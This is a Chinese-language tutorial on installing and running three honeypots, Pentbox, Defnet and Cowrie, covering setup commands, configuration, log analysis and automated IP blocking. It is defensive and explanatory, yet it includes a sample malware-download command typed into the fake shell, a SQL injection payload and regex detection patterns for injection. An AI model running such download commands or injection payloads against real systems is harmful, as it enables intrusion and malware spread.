简介：这是一份面向网络安全初学者与渗透测试爱好者的蜜罐实战资料，围绕 Defnet、Pentbox、Cowrie 三种主流蜜罐工具，讲解从环境搭建到实际使用的完整流程，其中 Pentbox 与 Cowrie 部分均在 Kali Linux 环境下完成，适合想入门主动防御与攻击诱捕技术的读者。资源包内仅含 1 个 docx 文档，约 7.96MB，以图文步骤形式记录了各工具的命令操作与配置细节。内容覆盖 Pentbox 的下载解压、快速与手动配置蜜罐、端口监听及入侵告警验证，Defnet 虚拟 Web、FTP、Telnet 等服务的伪装设置与监视记录，以及 Cowrie 的依赖安装、虚拟环境配置、SSH 端口修改等关键环节，并附有 telnet 连接测试与日志观察过程。目前已有 3082 人学习下载，可帮助读者快速理解蜜罐原理、掌握三种工具的部署方法，并积累攻击行为捕获与分析的排错经验。
1. 三种蜜罐的搭建与使用方法：从零跑通 Pentbox、Defnet 与 Cowrie
手里只有一台云主机和 Kali Linux，想看看每天到底有哪些人在扫我的端口，最直接的办法就是架一个蜜罐。蜜罐这东西听起来玄学，其实本质就是“故意露个破绽，等人来踩”，踩的人越多，你拿到的攻击样本、扫描源 IP、常用字典就越真实。Pentbox 适合新手十分钟上手，Defnet 偏向 Web 场景的交互欺骗，Cowrie 则是 SSH/Telnet 领域最经典的交互式蜜罐，能录下攻击者敲的每一条命令。这三者覆盖了端口探测、Web 诱捕、SSH 爆破三条最常见的攻击路径，搭起来对硬件要求都不高，一台 1 核 1G 的 Ubuntu 或 Kali 就能跑。下面按“先跑通、再调参、最后避坑”的顺序，把三种蜜罐的搭建与使用方法拆开讲清楚，新手能照着敲，熟手能直接看参数边界。
2. Pentbox 蜜罐：十分钟跑通端口诱捕与告警
Pentbox 是一个用 Ruby 写的轻量级安全工具，里面自带一个 honeypot 模块，能在指定端口上监听并记录连接来源。它的价值不在于多强大，而在于“快”——装完 Ruby 环境，几条命令就能让一个假服务上线，特别适合临时在 VPS 上布一个观察点，看看自己暴露在公网上的机器每天被扫多少次。
2.1 为什么选 Pentbox 做第一层诱捕
端口扫描是攻击链里最早、最廉价的一步，攻击者用 masscan 或 nmap 几分钟就能扫完一个 C 段。Pentbox 的 honeypot 模块默认会监听一个端口，任何 TCP 连接都会被记录下源 IP、时间戳和连接行为。它不模拟复杂协议，所以不会跟攻击者产生深度交互，但正因为简单，它几乎不会因为环境依赖出问题，跑起来就稳。对于刚接触蜜罐部署的人来说，先用 Pentbox 建立“有人在扫我”的直观感受，比一上来就啃 Cowrie 的配置要友好得多。
选它还有一层现实考虑：Pentbox 对系统侵入极小，不需要 root 常驻，不需要数据库，日志就是纯文本。你可以在 Kali Linux 里跑，也可以在 Ubuntu 上跑，甚至在一台已经跑了业务的机器上临时开一个高位端口做观察，不影响主服务。这种“低干扰”特性，让它在做初步资产暴露面摸底时特别顺手。
2.2 在 Kali Linux 上安装 Ruby 环境并拉取 Pentbox
Pentbox 依赖 Ruby，Kali Linux 默认可能没装完整 Ruby 环境，先补齐。以下命令在 Kali 2023 以后的版本上验证过，Ubuntu 22.04 同样适用。
# 更新包索引并安装 Ruby 及必要依赖 sudo apt update sudo apt install -y ruby ruby-dev build-essential git # 确认 Ruby 版本，Pentbox 对 Ruby 2.x 和 3.x 都能跑 ruby -v # 从 GitHub 克隆 Pentbox 源码到本地工具目录 cd /opt sudo git clone https://github.com/technicaldada/pentbox.git sudo chown -R $USER:$USER /opt/pentbox这里有几个参数和动作需要说明。ruby-dev和build-essential是为了保证后续如果有原生扩展能编译通过，虽然 Pentbox 本身是纯 Ruby 脚本，但装上不亏。克隆到/opt是 Linux 下放第三方工具的惯例，避免和系统包混在一起。chown那一步是为了让当前用户有写权限，否则后面改配置文件会一直要 sudo。
装完之后进入目录看一眼结构，核心文件是pentbox.rb，honeypot 逻辑在它内部通过菜单调用。不需要额外 gem 安装，这也是它比很多现代蜜罐省事的地方。
2.3 启动 honeypot 模块并配置监听端口
Pentbox 是交互式菜单驱动的，直接运行主脚本，按菜单选 honeypot 即可。但如果你要在没有图形界面的 VPS 上跑，或者想写成脚本自动启动，可以用管道把选择喂进去。
cd /opt/pentbox # 交互式启动，适合第一次手动看菜单 ruby pentbox.rb # 菜单路径：1) Network tools -> 3) Honeypot -> 1) Fast auto configuration # 或者手动指定端口：选 2) Manual configuration，然后输入端口号，比如 8080手动配置时，它会依次问你监听端口、是否记录到文件、是否显示告警。我一般会选一个高位端口比如 8080 或 2222，避免和真实服务冲突。记录文件默认写在当前目录下，名字类似honeypot.log。如果你想让它后台跑，用nohup或screen包一层：
# 用 nohup 后台运行，日志重定向到文件 nohup ruby pentbox.rb > /var/log/pentbox_console.log 2>&1 & # 查看 honeypot 记录到的连接 tail -f /opt/pentbox/honeypot.log参数上唯一需要留意的是端口选择。不要用 22、80、443 这些已经被真实服务占用的端口，否则 Pentbox 起不来，会报Address already in use。如果你就是想观察针对 SSH 的扫描，可以把 Pentbox 监听在 2222，然后把真实 SSH 挪到别的端口，或者干脆用 Cowrie 来做 SSH 蜜罐，Pentbox 只做辅助观察。
2.4 验证诱捕效果与日志字段解读
启动后，从另一台机器用nc或nmap连一下你设置的端口，然后回来看日志。
# 在另一台机器上测试连接 nc -v your_server_ip 8080 # 回到蜜罐机器查看日志 cat /opt/pentbox/honeypot.log日志里通常包含时间、源 IP、目标端口和连接状态。如果看到类似192.168.1.100 connected to port 8080的记录，说明诱捕生效。Pentbox 的记录粒度不细，不会存 payload，但对于判断“谁在扫、扫得多频繁”已经够用。你可以配合awk做简单统计：
# 统计每个源 IP 的连接次数，按次数降序 awk '{print $NF}' /opt/pentbox/honeypot.log | sort | uniq -c | sort -rn | head -20这个统计能让你快速看出哪些 IP 在批量扫描。如果某个 IP 在短时间内连了几十次不同端口，基本可以判定是扫描器。Pentbox 的局限也在这里：它只记录连接，不记录攻击者后续发了什么。所以它适合做第一层“预警”，真正要抓攻击载荷，还得靠 Cowrie 或 Defnet。
3. Defnet 蜜罐：Web 交互欺骗的配置与诱捕逻辑
Defnet 是一个偏 Web 场景的蜜罐框架，它的思路和 Pentbox 不同——不是简单监听端口，而是模拟一个看起来有漏洞的 Web 应用，诱导攻击者进行目录扫描、参数注入、登录爆破等操作，并把这些行为完整记录下来。如果你的资产里有 Web 服务，或者你想研究攻击者针对 Web 的常见手法，Defnet 比纯端口蜜罐更有观察价值。
3.1 Defnet 的适用场景与部署前提
Defnet 适合部署在公网 VPS 上，模拟一个“看起来没打理好”的网站。它通常会内置一些常见的 Web 路径，比如/admin、/wp-login.php、/phpmyadmin，以及一些带参数的接口，攻击者扫描到这些路径后会尝试默认口令、SQL 注入或文件包含。Defnet 把这些请求全部记下来，包括请求方法、路径、参数、User-Agent 和源 IP。
部署前提是你要有一个能跑 Web 服务的环境。Defnet 一般用 Python 或 PHP 写，常见做法是跑在一个独立端口上，比如 8000，然后用 Nginx 反代或者直接暴露。我一般会把它放在一台没有其他业务的 VPS 上，避免蜜罐被攻破后影响真实资产。系统层面，Ubuntu 20.04 或 22.04 都行，Kali Linux 也可以，但 Kali 默认的 Web 环境比较杂，建议用 Ubuntu 做宿主。
3.2 在 Ubuntu 上部署 Defnet 并配置诱捕路径
Defnet 的源码获取方式因版本而异，常见做法是从项目仓库克隆后按 README 启动。这里给出一套通用的 Python 环境部署流程，适用于大多数基于 Flask 或 Django 的 Defnet 变体。
# 安装 Python3 虚拟环境和 pip sudo apt update sudo apt install -y python3 python3-pip python3-venv git nginx # 创建虚拟环境并激活 cd /opt sudo git clone https://github.com/defnet/defnet.git sudo chown -R $USER:$USER /opt/defnet cd /opt/defnet python3 -m venv venv source venv/bin/activate # 安装依赖，具体依赖文件以项目实际为准 pip install -r requirements.txt如果项目没有requirements.txt，通常需要手动装 Flask 或 Django。启动前要改配置文件，一般是一个config.py或settings.py，里面会定义监听端口、日志路径、模拟的路径列表。以下是一个典型的配置片段：
# config.py 示例：定义蜜罐监听端口和诱捕路径 HONEYPOT_PORT = 8000 LOG_FILE = "/var/log/defnet/access.log" # 模拟的敏感路径，攻击者扫描这些路径时会被记录 FAKE_PATHS = [ "/admin", "/wp-login.php", "/phpmyadmin", "/.env", "/config.php.bak" ]参数说明：HONEYPOT_PORT建议用 8000 或 8080，避免和 Nginx 的 80 冲突。LOG_FILE要确保目录存在且当前用户可写，否则启动会报权限错误。FAKE_PATHS列表可以根据你观察到的扫描趋势动态加，比如最近很多扫描器在找/.git/config，就把它加进去。
启动方式一般是：
# 激活虚拟环境后启动 source venv/bin/activate python app.py # 或者用 gunicorn 后台跑 gunicorn -w 2 -b 0.0.0.0:8000 app:app --daemon3.3 用 Nginx 反代隐藏真实端口并记录原始请求
直接暴露 Python 应用端口不够优雅，也不方便做 TLS。常见做法是用 Nginx 反代，把 80 或 443 的流量转到蜜罐端口，同时让 Nginx 记录一份原始访问日志。
# /etc/nginx/sites-available/defnet server { listen 80; server_name your_domain_or_ip; access_log /var/log/nginx/defnet_access.log; error_log /var/log/nginx/defnet_error.log; location / { proxy_pass http://127.0.0.1:8000; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } }启用配置并重载 Nginx：
sudo ln -s /etc/nginx/sites-available/defnet /etc/nginx/sites-enabled/ sudo nginx -t sudo systemctl reload nginx这样攻击者看到的是 80 端口的标准 Web 服务，实际请求被转发到 Defnet。Nginx 的access_log会记录所有请求，包括那些被 Defnet 返回 404 的路径，这些 404 请求恰恰是扫描器留下的痕迹。你可以用grep快速筛出敏感路径的访问：
# 找出所有访问 /admin 的请求 grep "/admin" /var/log/nginx/defnet_access.log | awk '{print $1, $7, $12}' | sort | uniq -c | sort -rn3.4 分析 Defnet 捕获的 Web 攻击载荷
Defnet 的价值在于它不只记录“谁来了”，还记录“来了之后干了什么”。如果攻击者尝试在登录框输入' OR 1=1 --，这个 payload 会出现在日志里。你可以写一个简单的 Python 脚本从日志里提取可疑参数：
# 从 Defnet 日志中提取包含 SQL 注入特征的请求 import re sql_patterns = [ r"(\%27)|(\')|(\-\-)|(\%23)|(#)", r"((\%3D)|(=))[^\n]*((\%27)|(\')|(\-\-)|(\%3B)|(;))", r"\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))" ] with open("/var/log/defnet/access.log", "r") as f: for line in f: for pattern in sql_patterns: if re.search(pattern, line, re.IGNORECASE): print(line.strip()) break这段代码的逻辑是：用正则匹配常见的 SQL 注入特征，比如单引号、双横线注释、or关键字组合。参数上，re.IGNORECASE保证大小写不敏感，因为攻击者经常用Or或OR混写。跑出来的结果就是疑似注入尝试，你可以进一步看源 IP 和 User-Agent，判断是自动化工具还是人工。
Defnet 的坑在于，如果模拟的页面太假，攻击者可能扫一眼就走了，不会留下深度交互。所以配置FAKE_PATHS时，最好模仿真实 CMS 的路径结构，比如 WordPress 的/wp-login.php和/xmlrpc.php一起放，这样扫描器会认为这是一个真实站点，停留时间更长。
4. Cowrie 蜜罐：SSH/Telnet 交互式诱捕的完整搭建
Cowrie 是 SSH 和 Telnet 蜜罐里最经典的一个，它能模拟一个完整的 shell 环境，攻击者爆破进来之后，以为自己拿到了一个真实系统，实际上每敲一个命令都被记录。Cowrie 会伪造文件系统、支持常见的 Linux 命令，还能记录攻击者下载的恶意脚本。对于研究 SSH 爆破和僵尸网络传播的人来说，Cowrie 几乎是必搭的。
4.1 Cowrie 的交互式诱捕原理与部署选型
Cowrie 的核心是一个 Python 写的 SSH 服务端，它不执行真实命令，而是根据内置的 fake filesystem 返回预设结果。攻击者ls看到的是假目录，cat /etc/passwd看到的是假内容，但 Cowrie 会把所有输入输出记下来。它支持两种模式：一种是代理模式，把攻击者转发到真实系统（危险，不推荐）；另一种是模拟模式，完全在蜜罐内部闭环。
部署选型上，Cowrie 官方推荐用 Ubuntu 或 Debian，Kali Linux 也能跑但依赖冲突较多。我一般用 Ubuntu 22.04 的干净容器或 VPS，Python 3.10 以上。Cowrie 需要非 root 用户运行，监听 22 端口时需要authbind或端口转发，因为普通用户不能绑定 1024 以下端口。常见做法是让 Cowrie 监听 2222，然后用 iptables 把外部 22 转发到 2222。
4.2 创建专用用户并安装 Cowrie 依赖
Cowrie 不建议用 root 跑，先建一个专用用户。
# 创建 cowrie 用户，不分配登录 shell sudo adduser --disabled-password --gecos "" cowrie # 安装系统依赖 sudo apt update sudo apt install -y git python3 python3-venv python3-pip libssl-dev libffi-dev build-essential authbind # 配置 authbind 允许 cowrie 用户绑定低端口 sudo touch /etc/authbind/byport/22 sudo chown cowrie:cowrie /etc/authbind/byport/22 sudo chmod 755 /etc/authbind/byport/22参数说明：--disabled-password表示不设密码，只用于跑服务。authbind是为了后面能让 Cowrie 直接监听 22，如果你打算用 iptables 转发，这一步可以跳过。libssl-dev和libffi-dev是编译 Twisted 等依赖需要的，缺了会在pip install时报错。
4.3 配置 Cowrie 监听端口与伪造文件系统
切换到 cowrie 用户，克隆源码并安装 Python 依赖。
sudo su - cowrie git clone https://github.com/cowrie/cowrie.git cd cowrie python3 -m venv cowrie-env source cowrie-env/bin/activate pip install --upgrade pip pip install -r requirements.txt接下来复制配置文件模板：
cp etc/cowrie.cfg.dist etc/cowrie.cfg编辑etc/cowrie.cfg，关键配置项如下：
[honeypot] # 监听端口，如果直接用 authbind 绑 22，这里写 22 listen_endpoints = tcp:2222:interface=0.0.0.0 # 主机名，让攻击者看到的 hostname hostname = svr04 # 日志目录 log_path = var/log/cowrie # 是否记录下载的文件 download_path = var/lib/cowrie/downloads如果你用 iptables 转发，listen_endpoints保持 2222，然后加一条规则：
# 把外部 22 转发到 Cowrie 的 2222 sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222伪造文件系统在honeyfs目录下，你可以改honeyfs/etc/passwd里的内容，让攻击者看到的用户列表更真实。比如加几个常见的服务账户，去掉太明显的假名。
4.4 启动 Cowrie 并验证 SSH 爆破记录
启动 Cowrie：
# 在 cowrie 用户下，激活虚拟环境后启动 source cowrie-env/bin/activate bin/cowrie start查看状态和日志：
bin/cowrie status tail -f var/log/cowrie/cowrie.log从另一台机器尝试 SSH 连接：
ssh -p 2222 root@your_server_ip # 输入任意密码，Cowrie 会接受并给出一个假 shell登录后随便敲几个命令，比如ls、cat /etc/passwd、wget http://example.com/malware.sh，然后回来看日志。Cowrie 会记录登录尝试的用户名密码、执行的命令、下载的文件哈希。日志格式通常是 JSON，方便后续分析：
# 提取所有尝试登录的用户名和密码 grep "login attempt" var/log/cowrie/cowrie.log | python3 -c " import sys, json for line in sys.stdin: try: data = json.loads(line) print(data.get('username'), data.get('password')) except: pass "这个脚本把 Cowrie 的 JSON 日志解析出来，打印攻击者尝试的账号密码组合。你可以据此统计最常用的弱口令，比如root/123456、admin/admin，然后针对性加固真实系统。
Cowrie 还有一个实用功能是记录攻击者下载的文件。在var/lib/cowrie/downloads目录下，所有通过wget或curl下载的文件都会被保存，文件名是 SHA256 哈希。你可以把这些文件传到 VirusTotal 或本地沙箱分析，看看攻击者传播的是什么僵尸网络样本。
5. 三种蜜罐的避坑与常见问题排查
蜜罐搭起来容易，跑得稳、数据可用才是关键。下面这几条是我在实际部署里踩过的坑，按“现象 → 原因 → 解决”整理，覆盖 Pentbox、Defnet 和 Cowrie 三种场景。
5.1 端口冲突导致蜜罐启动即退出
现象：Pentbox 或 Cowrie 启动后立刻报Address already in use，进程消失。
原因：目标端口被真实服务占用。比如 Cowrie 想监听 22，但系统自带的 SSH 已经在跑；Pentbox 选了 8080，但 Nginx 或 Tomcat 已经占了。
解决：先用ss -tlnp | grep 端口号确认占用进程。如果是真实 SSH，把 Cowrie 改到 2222 并用 iptables 转发，或者把真实 SSH 挪到高位端口。Pentbox 换一个没人用的端口，比如 18080。改完配置后重启蜜罐，再用ss确认监听状态。
5.2 Cowrie 日志不记录密码或命令
现象：Cowrie 能连上，但日志里只有连接记录，没有登录尝试的用户名密码，也没有命令记录。
原因：Cowrie 的日志级别配置不对，或者cowrie.cfg里log_path指向的目录没有写权限。另一个常见原因是用了authbind但没生效，Cowrie 实际没绑定成功，连接被转发到了真实 SSH。
解决：检查etc/cowrie.cfg里的log_path，确保 cowrie 用户对该目录有写权限。用bin/cowrie status看运行状态，如果显示not running，去看var/log/cowrie/cowrie.log里的报错。如果是权限问题，chown -R cowrie:cowrie /home/cowrie/cowrie/var。另外确认listen_endpoints和实际转发规则一致，别一个配 2222 一个转发到 22。
5.3 Defnet 被扫描器识别为蜜罐直接跳过
现象：Defnet 部署后，Nginx 日志里只有零星几个请求，没有后续的目录扫描或注入尝试。
原因：模拟的 Web 页面特征太明显，比如返回的 Server 头是Werkzeug而不是Apache，或者所有不存在的路径都返回一模一样的 404 页面，扫描器一眼就认出是蜜罐。
解决：在 Nginx 里改server_tokens off并伪造Server头，比如more_set_headers "Server: Apache/2.4.41 (Ubuntu)"。Defnet 的 404 页面要模仿真实 CMS 的样式，不要用框架默认的调试页面。另外，FAKE_PATHS里加一些真实存在的静态资源路径，比如/wp-content/uploads/2023/01/logo.png，让扫描器认为这是一个有内容的站点。
5.4 Pentbox 日志文件无限增长占满磁盘
现象：Pentbox 跑了一周后，VPS 磁盘告警，honeypot.log涨到几个 GB。
原因：Pentbox 默认不做日志轮转，每个连接都追加写入，公网扫描量大的时候一天就能写几百 MB。
解决：用logrotate给 Pentbox 日志做轮转。新建/etc/logrotate.d/pentbox：
/opt/pentbox/honeypot.log { daily rotate 7 compress missingok notifempty copytruncate }copytruncate是关键，因为 Pentbox 一直持有文件句柄，直接删文件不会释放空间，必须用截断方式。Cowrie 和 Defnet 的日志也建议做类似配置，尤其是 Cowrie 的 JSON 日志，量大了之后解析也会变慢。
5.5 蜜罐被攻破后成为攻击跳板
现象：蜜罐运行一段时间后，发现它在外发大量 SSH 连接或 HTTP 请求，成了攻击者的跳板。
原因：Cowrie 的模拟 shell 如果配置不当，某些命令可能被真实执行；或者 Defnet 的 Web 应用存在真实漏洞，攻击者拿到了 shell。
解决：蜜罐必须跑在隔离环境里，最理想是独立 VPS 或容器，不要和真实业务同机。Cowrie 确保用非 root 用户跑，并且honeyfs里不要放任何真实凭据。Defnet 的 Python 进程用systemd限制权限，比如NoNewPrivileges=yes、PrivateTmp=yes。另外，在 VPS 的安全组里限制蜜罐的出站流量，只允许必要的日志回传，防止它被用来对外攻击。
6. 用 Cowrie 的 JSON 日志做攻击源画像与自动化封禁
三种蜜罐跑通之后，真正拉开差距的是怎么用数据。Pentbox 和 Defnet 的日志偏文本，Cowrie 的 JSON 日志结构化最好，适合做自动化分析。我一般会写一个定时脚本，每小时跑一次，从 Cowrie 日志里提取攻击源 IP、尝试的账号密码、下载的文件哈希，然后做两件事：一是生成一份简单的攻击源画像，二是把高频攻击 IP 推送到防火墙做临时封禁。
先看提取脚本的核心逻辑：
# cowrie_report.py：从 Cowrie JSON 日志生成攻击源摘要 import json import collections from datetime import datetime, timedelta LOG_PATH = "/home/cowrie/cowrie/var/log/cowrie/cowrie.json" TIME_WINDOW = timedelta(hours=1) ip_counter = collections.Counter() cred_counter = collections.Counter() download_counter = collections.Counter() cutoff = datetime.utcnow() - TIME_WINDOW with open(LOG_PATH, "r") as f: for line in f: try: event = json.loads(line) except json.JSONDecodeError: continue ts = event.get("timestamp") if not ts: continue # Cowrie 时间戳格式为 ISO8601，去掉 Z 后解析 event_time = datetime.fromisoformat(ts.replace("Z", "")) if event_time < cutoff: continue src_ip = event.get("src_ip") if src_ip: ip_counter[src_ip] += 1 if event.get("eventid") == "cowrie.login.failed": cred_counter[(event.get("username"), event.get("password"))] += 1 if event.get("eventid") == "cowrie.session.file_download": download_counter[event.get("shasum")] += 1 print("=== 高频攻击源 IP ===") for ip, count in ip_counter.most_common(10): print(f"{ip}: {count} 次") print("\n=== 最常尝试的账号密码 ===") for (user, pwd), count in cred_counter.most_common(10): print(f"{user}/{pwd}: {count} 次") print("\n=== 下载文件哈希 ===") for shasum, count in download_counter.most_common(5): print(f"{shasum}: {count} 次")这段代码的逻辑是：只统计最近一小时的事件，避免历史数据干扰。ip_counter统计每个源 IP 的事件总数，cred_counter统计登录失败的用户名密码组合，download_counter统计下载文件的 SHA256。参数上，TIME_WINDOW可以根据你的日志量调整，量大的话缩到 15 分钟，量小的话放到 6 小时。
拿到高频 IP 之后，可以用ipset加iptables做自动封禁：
# 创建 ipset 集合 sudo ipset create cowrie_blacklist hash:ip timeout 3600 # 把高频 IP 加入集合，这里假设 report 输出里提取了 IP 列表 for ip in $(python3 cowrie_report.py | grep -oE '^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+'); do sudo ipset add cowrie_blacklist $ip done # 让 iptables 引用这个集合，丢弃来自黑名单的流量 sudo iptables -I INPUT -m set --match-set cowrie_blacklist src -j DROPtimeout 3600表示封禁一小时，到期自动解封，避免误封正常 IP。这个方案的好处是封禁列表在内存里，查询快，不影响正常流量。我一般会把脚本挂到cron里，每 30 分钟跑一次，日志量大的时候能明显减少无效连接对蜜罐的干扰。
最后说一个我自己的习惯：蜜罐的日志不要只留在本地，定期打包传到另一台机器或对象存储。有一次 VPS 被攻击者发现是蜜罐后直接格式化了，本地日志全丢，后来我就养成了每天凌晨自动同步日志的习惯。蜜罐这东西，数据比蜜罐本身值钱。希望帮到你。
本文还有配套的精品资源，点击获取
